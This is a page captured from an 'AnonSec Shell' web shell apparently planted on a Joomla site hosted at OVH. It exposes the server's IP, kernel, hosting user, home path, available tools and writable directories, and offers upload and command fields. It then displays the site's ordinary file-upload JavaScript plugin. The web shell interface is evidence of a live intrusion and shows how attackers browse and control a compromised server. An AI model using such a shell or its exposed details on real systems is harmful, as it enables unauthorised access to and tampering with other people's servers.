AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.84
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/m/a/i/maitricfuz/www/saint-martin-lg/media/plg_system_nrframework/js/fileupload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/m/a/i/maitricfuz/www/saint-martin-lg/media/plg_system_nrframework/js/fileupload/instance.js
var TF_Abstract_File_Upload=function(){function e(e){this.element=e,this.token=Joomla.getOptions("csrf.token"),this.ajaxUrl=this.element.dataset.ajaxUrl,this.preview="1"===this.element.dataset.preview,this.maxFiles=parseInt(this.element.getAttribute("data-maxfiles"))||null,this.multiple=1!=this.maxFiles,this.initDropzone(),this.element.tfUpload=this}var t=e.prototype;return t.getIconForFile=function(e){e=e.type||"";return e.startsWith("audio/")?this.getAudioIcon():e.startsWith("video/")?this.getVideoIcon():e.startsWith("application/pdf")?this.getPDFIcon():this.getDefaultIcon()},t.handleFileDisplay=function(e){var t,i=e.previewElement.querySelector("[data-dz-thumbnail]");i&&(t=e.previewElement.querySelector(".tf-file-icon"),!(e.type||"").startsWith("image/")||(t.classList.add("tf-file-icon--hidden"),i.classList.remove("tf-thumbnail-hidden"),"error"===e.status&&10485760<e.size))&&this.hideThumbnailShowIcon(i,t,e)},t.hideThumbnailShowIcon=function(e,t,i){e.classList.add("tf-thumbnail-hidden"),t.classList.remove("tf-file-icon--hidden"),t.innerHTML=this.getIconForFile(i)},t.getDefaultIcon=function(){return'<svg width="20" height="26" viewBox="0 0 20 26" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M5 20.6667H15V18.6667H5V20.6667ZM5 15.3333H15V13.3333H5V15.3333ZM2.41033 25.6667C1.73678 25.6667 1.16667 25.4333 0.7 24.9667C0.233333 24.5 0 23.9299 0 23.2563V2.74368C0 2.07012 0.233333 1.50001 0.7 1.03334C1.16667 0.566677 1.73678 0.333344 2.41033 0.333344H13L20 7.33334V23.2563C20 23.9299 19.7667 24.5 19.3 24.9667C18.8333 25.4333 18.2632 25.6667 17.5897 25.6667H2.41033ZM12 8.33334V2.33334H2.41033C2.30767 2.33334 2.21367 2.37612 2.12833 2.46168C2.04278 2.54701 2 2.64101 2 2.74368V23.2563C2 23.359 2.04278 23.453 2.12833 23.5383C2.21367 23.6239 2.30767 23.6667 2.41033 23.6667H17.5897C17.6923 23.6667 17.7863 23.6239 17.8717 23.5383C17.9572 23.453 18 23.359 18 23.2563V8.33334H12Z" fill="#585858"/></svg>'},t.getAudioIcon=function(){return'<svg width="16" height="24" viewBox="0 0 16 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M5.37165 23.205C4.08832 23.205 2.98977 22.7481 2.07599 21.8343C1.16221 20.9203 0.705322 19.8217 0.705322 18.5383C0.705322 17.255 1.16221 16.1565 2.07599 15.2427C2.98977 14.3289 4.08832 13.872 5.37165 13.872C5.88277 13.872 6.36143 13.948 6.80766 14.1C7.25388 14.2522 7.6641 14.4805 8.03832 14.7847V0.795013H15.2947V5.15368H10.0383V18.5383C10.0383 19.8217 9.58143 20.9203 8.66765 21.8343C7.75365 22.7481 6.65499 23.205 5.37165 23.205Z" fill="#585858"/></svg>'},t.getVideoIcon=function(){return'<svg width="26" height="20" viewBox="0 0 26 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M3.06399 20C2.39066 20 1.82066 19.7667 1.35399 19.3C0.887325 18.8333 0.653992 18.2632 0.653992 17.5897V2.41033C0.653992 1.73678 0.887325 1.16667 1.35399 0.7C1.82066 0.233333 2.39066 0 3.06399 0H18.2437C18.917 0 19.487 0.233333 19.9537 0.7C20.4203 1.16667 20.6537 1.73678 20.6537 2.41033V8.513L25.346 3.82067V16.1793L20.6537 11.487V17.5897C20.6537 18.2632 20.4203 18.8333 19.9537 19.3C19.487 19.7667 18.917 20 18.2437 20H3.06399ZM3.06399 18H18.2437C18.3632 18 18.4614 17.9616 18.5383 17.8847C18.6154 17.8078 18.654 17.7094 18.654 17.5897V2.41033C18.654 2.29056 18.6154 2.19222 18.5383 2.11533C18.4614 2.03845 18.3632 2 18.2437 2H3.06399C2.94444 2 2.84621 2.03845 2.76933 2.11533C2.69244 2.19222 2.65399 2.29056 2.65399 2.41033V17.5897C2.65399 17.7094 2.69244 17.8078 2.76933 17.8847C2.84621 17.9616 2.94444 18 3.06399 18Z" fill="#585858"/></svg>'},t.getPDFIcon=function(){return'<svg width="24" height="30" viewBox="0 0 24 30" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M6.71157 18.7967C6.4509 18.7967 6.27524 18.8222 6.18457 18.8477V20.5165C6.29224 20.542 6.42682 20.5491 6.6124 20.5491C7.29099 20.5491 7.7089 20.2062 7.7089 19.6268C7.7089 19.1083 7.34907 18.7967 6.71157 18.7967ZM11.6515 18.8137C11.3682 18.8137 11.184 18.8392 11.0749 18.8647V22.5622C11.184 22.5877 11.3597 22.5877 11.5183 22.5877C12.6757 22.5962 13.4294 21.9587 13.4294 20.61C13.4379 19.4342 12.7508 18.8137 11.6515 18.8137Z" fill="#585858"/><path d="M14.8334 0.833344H3.50002C2.74857 0.833344 2.0279 1.13185 1.49655 1.66321C0.965198 2.19456 0.666687 2.91523 0.666687 3.66668V26.3333C0.666687 27.0848 0.965198 27.8055 1.49655 28.3368C2.0279 28.8682 2.74857 29.1667 3.50002 29.1667H20.5C21.2515 29.1667 21.9721 28.8682 22.5035 28.3368C23.0348 27.8055 23.3334 27.0848 23.3334 26.3333V9.33334L14.8334 0.833344ZM8.45552 20.9358C8.01777 21.3467 7.37177 21.5308 6.61952 21.5308C6.47364 21.5336 6.32776 21.5251 6.18319 21.5053V23.5255H4.91669V17.9495C5.48828 17.8645 6.06578 17.8257 6.6436 17.8333C7.43269 17.8333 7.99369 17.9835 8.37194 18.2853C8.73177 18.5714 8.97544 19.0403 8.97544 19.5928C8.97402 20.1482 8.78985 20.6171 8.45552 20.9358ZM13.8488 22.8554C13.2538 23.3498 12.3485 23.585 11.2421 23.585C10.5791 23.585 10.1102 23.5425 9.79144 23.5V17.9509C10.3632 17.8678 10.9406 17.8285 11.5184 17.8333C12.5908 17.8333 13.2878 18.026 13.8318 18.4368C14.4197 18.8732 14.788 19.5688 14.788 20.5675C14.788 21.6484 14.3928 22.395 13.8488 22.8554ZM19.0834 18.9242H16.913V20.2148H18.9417V21.2546H16.913V23.5269H15.6295V17.8758H19.0834V18.9242ZM14.8334 10.75H13.4167V3.66668L20.5 10.75H14.8334Z" fill="#585858"/></svg>'},t.getTemplate=function(){return'\n            <div class="tf-file-upload-editor--items--item">\n                '+(this.preview?'<img data-dz-thumbnail class="tf-thumbnail-hidden" /><div class="tf-file-icon">'+this.getDefaultIcon()+"</div>":"")+'\n                <div class="tf-file-upload-editor--items--item--details">\n                    <div class="tf-file-upload-editor--items--item--details--name" data-dz-name></div>\n                    <span class="tf-file-upload-editor--items--item--details--size" data-dz-size></span>\n                    <div class="tf-file-upload-editor--items--item--details--error"><div data-dz-errormessage></div></div>\n                    <div class="tf-file-upload-editor--items--item--details--progress"><span class="dz-upload" data-dz-uploadprogress style="width: 0;"></span></div>\n                </div>\n                <div class="tf-file-upload-editor--items--item--right">\n                    '+this.getTemplateMoreActions()+'\n                    <a href="#" class="tf-file-upload-editor--items--item--right--item" data-dz-remove>\n                        <svg class="x-icon" width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M1.86657 13.0993L0.900635 12.1333L6.03397 7.00001L0.900635 1.86667L1.86657 0.900734L6.99991 6.03407L12.1332 0.900734L13.0992 1.86667L7.96584 7.00001L13.0992 12.1333L12.1332 13.0993L6.99991 7.96594L1.86657 13.0993Z" fill="currentColor"/></svg>\n                        <svg class="trash-icon" width="14" height="16" viewBox="0 0 14 16" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M2.69877 15.7917C2.24166 15.7917 1.85116 15.6298 1.52727 15.3061C1.20353 14.9822 1.04167 14.5917 1.04167 14.1346V2.5H0.125V1.125H4.25V0.314209H9.75V1.125H13.875V2.5H12.9583V14.1346C12.9583 14.5976 12.7979 14.9896 12.4771 15.3104C12.1563 15.6313 11.7643 15.7917 11.3012 15.7917H2.69877ZM11.5833 2.5H2.41667V14.1346C2.41667 14.2169 2.4431 14.2845 2.49596 14.3374C2.54882 14.3902 2.61642 14.4167 2.69877 14.4167H11.3012C11.3718 14.4167 11.4364 14.3873 11.4951 14.3284C11.5539 14.2698 11.5833 14.2051 11.5833 14.1346V2.5ZM4.62033 12.5833H5.9951V4.33333H4.62033V12.5833ZM8.0049 12.5833H9.37967V4.33333H8.0049V12.5833Z" fill="currentColor" /></svg>\n                    </a>\n                    <span class="check-icon"><svg width="14" height="10" viewBox="0 0 14 10" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M5.16251 9.50001L0.887512 5.22501L1.95626 4.15626L5.16251 7.36251L12.0438 0.481262L13.1125 1.55001L5.16251 9.50001Z" fill="#139B72"/></svg></span>\n                </div>\n                '+this.getTemplateEnd()+"\n            </div>\n        "},t.getTemplateMoreActions=function(){return""},t.getTemplateEnd=function(){return""},t.initDropzone=function(){var e=this,t=this.getTemplate(),i=parseFloat(this.element.getAttribute("data-maxfilesize"))||null,n=this.element.getAttribute("data-upload_types")||null;this.dropzone=new Dropzone(this.element,{url:this.ajaxUrl,previewTemplate:t,maxFilesize:i,uploadMultiple:this.multiple,maxFiles:this.maxFiles,acceptedFiles:n,autoProcessQueue:!0,parallelUploads:1,filesizeBase:1e3,timeout:0,previewsContainer:this.element.querySelector(".tf-file-upload-editor--items"),headers:{"X-CSRF-Token":this.token},init:function(){e.onDropzoneInit(this)},dictFallbackMessage:Joomla.JText._("NR_FILE_UPLOAD_FALLBACK_MESSAGE"),dictInvalidFileType:Joomla.JText._("NR_FILE_UPLOAD_INVALID_FILE"),dictFileTooBig:Joomla.JText._("NR_FILE_UPLOAD_FILETOOBIG"),dictResponseError:Joomla.JText._("NR_FILE_UPLOAD_RESPONSE_ERROR"),dictCancelUpload:Joomla.JText._("NR_CANCEL_UPLOAD"),dictCancelUploadConfirmation:Joomla.JText._("NR_FILE_UPLOAD_CANCEL_UPLOAD_CONFIRMATION"),dictRemoveFile:Joomla.JText._("NR_REMOVE_FILE"),dictMaxFilesExceeded:Joomla.JText._("NR_FILE_UPLOAD_MAX_FILES_EXCEEDED"),dictRemoveFileConfirmation:Joomla.JText._("NR_ARE_YOU_SURE_YOU_WANT_TO_DELETE_THIS_ITEM")})},t.onDropzoneInit=function(e){var n=this;if("undefined"!=typeof Sortable&&this.multiple&&new Sortable(n.element.querySelector(".tf-file-upload-editor--items"),{animation:150,handle:".tf-file-upload-editor--items--item",onStart:function(){n.element.setAttribute("data-sorting",!0)},onEnd:function(){n.element.setAttribute("data-sorting",!1)}}),e.on("addedfile",function(e){n.onAddedFile(e)}),e.on("sending",function(e,t,i){n.onSending(e,t,i)}),e.on("success",function(e){n.onSuccess(e)}),e.on("removedfile",function(e){n.onRemovedFile(e)}),e.on("error",function(e,t,i){n.onError(e,t,i)}),e.on("queuecomplete",function(){n.onQueueComplete()}),t=this.element.dataset.value)for(var t=Object.values(JSON.parse(t)),i=0;i<t.length;i++){var o=t[i];o.accepted=!0,o.exists||(o.error=Joomla.JText._("NR_FILE_UPLOAD_FILE_MISSING")),e.emit("addedfile",o),e.emit("success",o),e.emit("complete",o),n.preview&&e.emit("thumbnail",o,o.url),e.files.push(o)}},t.onAddedFile=function(e){null==e.upload&&(e.encoded=e.file_token||e.encoded,this.createHiddenInput(e.previewTemplate,e.path,e),e.error)&&(e.previewTemplate.classList.add("dz-error"),(el_error=e.previewTemplate.querySelector(".tf-file-upload-editor--items--item--details--error")).innerHTML=e.error),this.handleFileDisplay(e)},t.onSending=function(e,t,i){i.append("action","upload"),i.append("upload_types",this.element.getAttribute("data-upload_types"))},t.onSuccess=function(t){if(t.xhr){var e;try{e=JSON.parse(t.xhr.response)}catch(e){return void this.onError(t,"Error: "+e,t.xhr)}e&&e.file_token?this.onSuccessV2(t,e):this.onSuccessLegacy(t,e)}},t.onSuccessV2=function(e,t){e.encoded=t.file_token,this.createHiddenInput(e.previewTemplate,t.file_token),this.onAfterSuccess(e,t)},t.onSuccessLegacy=function(t,e){try{if(!e||!e.file)throw"Cannot upload file";t.encoded=e.file_encode,this.createHiddenInput(t.previewTemplate,e.file),this.onAfterSuccess(t,e)}catch(e){this.onError(t,"Error: "+e,null)}},t.onAfterSuccess=function(e){},t.clearFiles=function(){this.dropzone&&(this._suppressDelete=!0,this.dropzone.removeAllFiles(),this._suppressDelete=!1)},t.onRemovedFile=function(e){var t,i;this._suppressDelete||0!=e.size&&0!=e.accepted&&(t=this,(i=new XMLHttpRequest).onload=function(){200<=i.status&&i.status<300?t.onAfterFileDelete(e,i.response):t.onError(e,i.responseText,i)},i.open("POST",this.ajaxUrl),i.setRequestHeader("X-CSRF-Token",this.token),(fd=new FormData).append("file_token",e.encoded),fd.append("filename",e.encoded),fd.append("action","delete"),this.appendDeleteFormData(fd,e),i.send(fd))},t.appendDeleteFormData=function(e,t){},t.onAfterFileDelete=function(e,t){},t.onError=function(e,t,i){this.handleFileDisplay(e),console.error("Upload error:",t)},t.onQueueComplete=function(){},t.getUploadingFilesCount=function(){return this.dropzone?this.dropzone.getQueuedFiles().length+this.dropzone.getUploadingFiles().length:0},t.createHiddenInput=function(e,t,i){var n=e.closest(".tf-file-upload-editor").dataset.name.replace("[INDEX]","["+this.item_id+"]"),o=document.createElement("input");o.setAttribute("type","hidden"),o.setAttribute("class","tf-file-upload-input-value"),o.setAttribute("name",n),o.setAttribute("value",t),e.appendChild(o),this.onAfterHiddenInput(e,i),this.item_id++},t.onAfterHiddenInput=function(e,t){},e}();window.TF_File_Upload_Class=TF_Abstract_File_Upload;


Anon7 - 2022
AnonSec Team